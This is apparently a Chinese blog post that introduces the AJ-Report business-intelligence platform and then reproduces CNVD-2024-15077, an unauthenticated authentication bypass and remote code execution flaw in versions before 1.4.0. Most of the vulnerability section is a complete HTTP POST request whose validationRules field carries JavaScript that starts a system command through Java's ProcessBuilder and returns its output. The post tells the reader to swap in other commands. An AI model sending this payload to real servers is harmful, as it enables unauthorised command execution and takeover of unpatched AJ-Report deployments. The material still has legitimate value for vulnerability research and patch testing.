当前位置: 首页 > news >正文

AJ-Report - 实践

目录

AJ-Report是什么

 CNVD-2024-15077(AJ-Report认证绕过和远程代码执行漏洞)


AJ-Report是什么

        AJ-Report是完全开源的BI(Business intelligence)平台,旨在帮忙用户生成和管理各种类型的报表。它通常用于web应用中,用于分析和展示数据,常用于企业和数据密集型框架中。AJ-Report支持多种便捷功能。

  • 报表设计器:允许用户通过图形化界面设计报表,无需编写复杂的代码。
  • 数据源支持:可以与数据库、API 等多种数据源连接,支持多种数据格式(如 SQL、NoSQL 等)。
  • 可定制性:支持定制报表的布局、样式、格式等,满足不同的业务需求。
  • 导出功能:用户能够将生成的报表导出为 PDF、Excel 等格式,便于分享和存档。

 CNVD-2024-15077(AJ-Report认证绕过和远程代码执行漏洞)

        漏洞成因:verification方法未对传入的参数进行过滤,允许执行JavaScript函数。导致命令执行漏洞。代码使用engine.eval(validationRules)执行传入的validationRules字符串。validationRules字符串可来自用户输入,没有对用户输入做验证和清理,恶意用户可构造恶意的JavaScript代码传递给validationRules,从而在服务器上执行恶意命令。

版本要求:AJ-Report < 1.4.0

账号要求:无需登录,无需账号。

步骤1:构造数据包如下

POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: your-ip:9095
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
Connection: close
Content-Length: 339{"ParamName":"",
"paramDesc":"",
"paramType":"",
"sampleItem":"1",
"mandatory":true,
"requiredFlag":1,
"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

调用Swagger UI 接口发送的POST数据包,以JSON格式传递数据,在key为validationRules中构造命令。

步骤2:查看结果

切换命令测试

http://www.rkmt.cn/news/17281.html

相关文章:

  • Day-15【选择与循环】选择结构-if语句 - 实践
  • 咕乡
  • Java 语言程序设计(第二讲 方法)动手动脑与课后实验问题整理文档 - 20243867孙堃2405
  • 深入解析:RDMA简介3之四种子协议对比
  • QBXT2025S刷题 Day7题
  • 中科微GNSS卫星定位产品
  • vmware workstation17pro安装vmtools
  • 2025 年杭州画室推荐:之江画室凭央清班十年口碑、突出设计学录取案例及特色教学空间脱颖而出
  • 2025 钢丝绳厂家最新推荐榜:行业标杆与新锐势力深度解析,5 大优质品牌适配场景全指南
  • 2025 年片材机生产厂家最新推荐排行榜:SMC 片材机组 / 生产线 / 设备 / 辅机优质品牌精选,助力企业精准选购
  • 50个常见的python毕业设计/课程设计(源码+运行步骤)
  • 2025 年注浆管厂家最新推荐排行榜:聚焦 R780/108 / 隧道 / 预埋 / 桩基专用品类,精选优质企业
  • MyBatis源码解析:从 Mapper 接口到 SQL 执行的完整链路 - 实践
  • 2025 年国内色母粒厂家最新推荐排行榜:聚焦食品级医疗级等多品类,精选综合实力强服务优的企业食品级色母粒/医疗级色母粒 TPU色母粒/透明色母粒/PC色母粒/黑色母粒/白色母粒厂家推荐
  • ArcGIS Pro 3.4 二次开发 - 地图创作 1 - 指南
  • 2025 年镀膜靶材制造厂家最新推荐权威榜单:铬靶 / 镍靶 / 钛靶等优质产品供应商综合实力深度解析
  • 【光照】Unity[光照烘焙]的原理与具体流程
  • 2025喷砂设备厂家TOP5推荐:技术实力与行业口碑权威解析
  • 2025电源适配器最新推荐榜:高效稳定与安全性能兼备的优质之
  • 2025 年震动盘厂家最新推荐榜单:覆盖精密震动盘 / 电子震动盘 / 塑料震动盘等品类,为企业高效选型提供权威参考
  • web安全开发,在线%机器学习异常流量检测系统%开发demo - 详解
  • 2025 年 MOS 管厂家最新推荐排行榜权威发布,覆盖高压 / 低压 / 大功率 / N 型等类型,助力企业高效采购精准选型
  • 2025 年最新波形护栏厂家推荐排行榜:聚焦国内优质厂商技术优势与服务能力,助力采购方精准选型 三波/二波/双波/喷塑/公路/热浸锌/浸塑波形护栏厂家推荐
  • Transformer原理解析及中文项目实践(微课视频版)
  • Navicat配置MySQL自动备份
  • Fedora 38 安装 perl-JSON RPM 包步骤(含依赖问题解决及附安装包)​
  • 2025 年染井吉野樱种植服务公司最新推荐排行榜:苗木分枝点规格详解与景观适配指南及优质企业榜单染井吉野樱花苗/五公分染井吉野樱/十公分染井吉野樱/染井吉野樱批发公司推荐
  • 深入解析:微信小程序动态组件加载的应用场景与实现方式
  • STM32----IAP远程升级 - 详解
  • 使用cursor 编辑器开发 Vue项目,调整ESlint自动修复脚本,消除代码不规范引起的报错无法运行项目问题